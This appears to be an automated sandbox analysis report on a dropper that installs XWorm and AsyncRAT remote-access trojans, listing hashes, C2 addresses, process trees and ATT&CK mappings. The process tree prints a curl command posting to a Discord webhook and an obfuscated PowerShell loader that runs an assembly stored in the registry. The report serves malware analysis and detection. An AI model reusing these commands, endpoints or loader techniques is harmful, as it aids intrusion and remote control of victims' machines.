Analysis

  • max time kernel
    150s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    22-06-2024 05:28

General

  • Target

    Dropper.exe

  • Size

    1.4MB

  • MD5

    afbd173e05ef8ddabbe10b90f93b6614

  • SHA1

    718220c153e1eba3d978eb7d2eb884716797be9f

  • SHA256

    9d89f838ab73933fc7a35b409e022dbb33e11c94c306ecfe9710e8ed3a82946e

  • SHA512

    5d4f4dcbdf4acbdd84c3da5a8351ff5db0c5091dcb94eb6dfb7b019e0ba342bf74e0bd3eb5b4484e6247561e7325be90e8433ee42137e6cf56fc1d76f29eb31f

  • SSDEEP

    12288:C0w1hc0h3LOAGkjwtBx5n4AYakafNh/ymPj/YDLm7GylDULvEd8oK/mngAmgIv:CCmwDRPjwuB

Malware Config

Extracted

Family

xworm

C2

politics-fiber.gl.at.ply.gg:47430

Attributes
  • Install_directory

    %AppData%

  • install_file

    $77-scchost.exe

Extracted

Family

asyncrat

Botnet

Default

C2

environmental-blank.gl.at.ply.gg:25944

Attributes
  • delay

    1

  • install

    true

  • install_file

    $77-aachost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 2 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:436
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{2540b071-678a-448f-a4c1-5da0812adb47}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2924
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:480
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:604
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:320
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k RPCSS
              2⤵
                PID:684
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                2⤵
                • Modifies security service
                PID:748
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                2⤵
                  PID:808
                  • C:\Windows\system32\Dwm.exe
                    "C:\Windows\system32\Dwm.exe"
                    3⤵
                      PID:1172
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:856
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {1C6B3C81-4611-49D9-B94D-D59B9922CD68} S-1-5-18:NT AUTHORITY\System:Service:
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1356
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+'7'+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                        4⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2472
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService
                    2⤵
                      PID:972
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k NetworkService
                      2⤵
                        PID:240
                      • C:\Windows\System32\spoolsv.exe
                        C:\Windows\System32\spoolsv.exe
                        2⤵
                          PID:332
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                          2⤵
                            PID:1076
                          • C:\Windows\system32\taskhost.exe
                            "taskhost.exe"
                            2⤵
                              PID:1120
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                              2⤵
                                PID:1704
                              • C:\Windows\system32\sppsvc.exe
                                C:\Windows\system32\sppsvc.exe
                                2⤵
                                  PID:1808
                              • C:\Windows\system32\lsass.exe
                                C:\Windows\system32\lsass.exe
                                1⤵
                                  PID:492
                                • C:\Windows\system32\lsm.exe
                                  C:\Windows\system32\lsm.exe
                                  1⤵
                                    PID:500
                                  • C:\Windows\Explorer.EXE
                                    C:\Windows\Explorer.EXE
                                    1⤵
                                      PID:1212
                                      • C:\Users\Admin\AppData\Local\Temp\Dropper.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Dropper.exe"
                                        2⤵
                                        • Loads dropped DLL
                                        • Suspicious use of WriteProcessMemory
                                        PID:2928
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253936460533596222/A6HxzIjIDIKyWDj0ckcP1MgqmlK_CMtEmYhM4dwuWmPFk2q_02wySjZSHZuHPAmtdoBM" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
                                          3⤵
                                            PID:2856
                                          • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3020
                                          • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:2880
                                          • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2588
                                          • C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-install.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:2476
                                      • C:\Windows\system32\conhost.exe
                                        \??\C:\Windows\system32\conhost.exe "-181336726890199196346993063320036088751165019595-209369799-1715889996-1778760264"
                                        1⤵
                                          PID:2992
                                        • C:\Windows\system32\conhost.exe
                                          \??\C:\Windows\system32\conhost.exe "1852589390-125910951910900645171815424201861272163744980079-10220039661107960434"
                                          1⤵
                                            PID:2500

                                          Network

                                          MITRE ATT&CK Matrix ATT&CK v13

                                          Persistence

                                          Create or Modify System Process

                                          1
                                          T1543

                                          Windows Service

                                          1
                                          T1543.003

                                          Privilege Escalation

                                          Create or Modify System Process

                                          1
                                          T1543

                                          Windows Service

                                          1
                                          T1543.003

                                          Defense Evasion

                                          Modify Registry

                                          1
                                          T1112

                                          Discovery

                                          System Information Discovery

                                          1
                                          T1082

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • \Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                            Filesize

                                            66KB

                                            MD5

                                            499861c56b2368cb123c027336370b92

                                            SHA1

                                            c018376876cc5906681502bdc4c313e9ce4bd6ad

                                            SHA256

                                            146a6db11db984e114e8942aa9a684f3c33c8348029cc1406754f134adbb3930

                                            SHA512

                                            c585a7e0cf0c860863699a13ae6843babbf13b13246715e9ae5ba8296b4037ee839c09b3648250c6a3687ee01e2ad5a65ebc77aabd42bd3ad7398d6b57f9e077

                                          • \Users\Admin\AppData\Local\Temp\$77-install.exe
                                            Filesize

                                            163KB

                                            MD5

                                            1a7d1b5d24ba30c4d3d5502295ab5e89

                                            SHA1

                                            2d5e69cf335605ba0a61f0bbecbea6fc06a42563

                                            SHA256

                                            b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

                                            SHA512

                                            859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

                                          • \Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                            Filesize

                                            256KB

                                            MD5

                                            18f497deffe88b6b2cff336a277aface

                                            SHA1

                                            4e1413241d3d3e4dbff399d179f8fd64f3ecd39e

                                            SHA256

                                            8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5

                                            SHA512

                                            35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d

                                          • \Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                            Filesize

                                            50KB

                                            MD5

                                            77a71f3a441aa3bf824967e52413bec5

                                            SHA1

                                            c3d6df5cfc5eefaadf9bcb3703484e3cadf79588

                                            SHA256

                                            1e6c87e492d90fbc4b9d2a16676a58735e33861f780c6c3020869337a0ccfc82

                                            SHA512

                                            31c413cb410b366b63f0e763e288c2795584f9c7fda41eeea45f7d32a853da87e3ab58a144ff02a75b1d1803c7fef9fe3d561133a50a4e600799ed6f9050fd5b

                                          • memory/436-53-0x0000000000B70000-0x0000000000B95000-memory.dmp
                                            Filesize

                                            148KB

                                          • memory/436-61-0x0000000000BA0000-0x0000000000BCB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/436-62-0x000007FEBF700000-0x000007FEBF710000-memory.dmp
                                            Filesize

                                            64KB

                                          • memory/436-63-0x0000000037870000-0x0000000037880000-memory.dmp
                                            Filesize

                                            64KB

                                          • memory/436-54-0x0000000000BA0000-0x0000000000BCB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/436-51-0x0000000000B70000-0x0000000000B95000-memory.dmp
                                            Filesize

                                            148KB

                                          • memory/436-55-0x0000000000BA0000-0x0000000000BCB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/480-77-0x0000000037870000-0x0000000037880000-memory.dmp
                                            Filesize

                                            64KB

                                          • memory/480-75-0x0000000000080000-0x00000000000AB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/480-76-0x000007FEBF700000-0x000007FEBF710000-memory.dmp
                                            Filesize

                                            64KB

                                          • memory/480-69-0x0000000000080000-0x00000000000AB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/492-91-0x0000000037870000-0x0000000037880000-memory.dmp
                                            Filesize

                                            64KB

                                          • memory/492-89-0x00000000001C0000-0x00000000001EB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/492-90-0x000007FEBF700000-0x000007FEBF710000-memory.dmp
                                            Filesize

                                            64KB

                                          • memory/492-83-0x00000000001C0000-0x00000000001EB000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/500-97-0x0000000000860000-0x000000000088B000-memory.dmp
                                            Filesize

                                            172KB

                                          • memory/2472-35-0x0000000019F30000-0x000000001A212000-memory.dmp
                                            Filesize

                                            2.9MB

                                          • memory/2472-38-0x0000000077830000-0x00000000779D9000-memory.dmp
                                            Filesize

                                            1.7MB

                                          • memory/2472-36-0x0000000000A80000-0x0000000000A88000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2472-37-0x0000000019D80000-0x0000000019DAA000-memory.dmp
                                            Filesize

                                            168KB

                                          • memory/2472-39-0x0000000077610000-0x000000007772F000-memory.dmp
                                            Filesize

                                            1.1MB

                                          • memory/2588-27-0x0000000000200000-0x0000000000246000-memory.dmp
                                            Filesize

                                            280KB

                                          • memory/2588-33-0x0000000000290000-0x0000000000296000-memory.dmp
                                            Filesize

                                            24KB

                                          • memory/2880-19-0x00000000010F0000-0x0000000001106000-memory.dmp
                                            Filesize

                                            88KB

                                          • memory/2924-41-0x0000000140000000-0x0000000140008000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2924-40-0x0000000140000000-0x0000000140008000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2924-43-0x0000000140000000-0x0000000140008000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2924-47-0x0000000077610000-0x000000007772F000-memory.dmp
                                            Filesize

                                            1.1MB

                                          • memory/2924-48-0x0000000140000000-0x0000000140008000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2924-46-0x0000000077830000-0x00000000779D9000-memory.dmp
                                            Filesize

                                            1.7MB

                                          • memory/2924-45-0x0000000140000000-0x0000000140008000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2924-42-0x0000000140000000-0x0000000140008000-memory.dmp
                                            Filesize

                                            32KB

                                          • memory/2928-0-0x0000000074A5E000-0x0000000074A5F000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/2928-1-0x0000000000BA0000-0x0000000000D10000-memory.dmp
                                            Filesize

                                            1.4MB

                                          • memory/2928-223-0x0000000074A5E000-0x0000000074A5F000-memory.dmp
                                            Filesize

                                            4KB

                                          • memory/3020-11-0x0000000000EF0000-0x0000000000F02000-memory.dmp
                                            Filesize

                                            72KB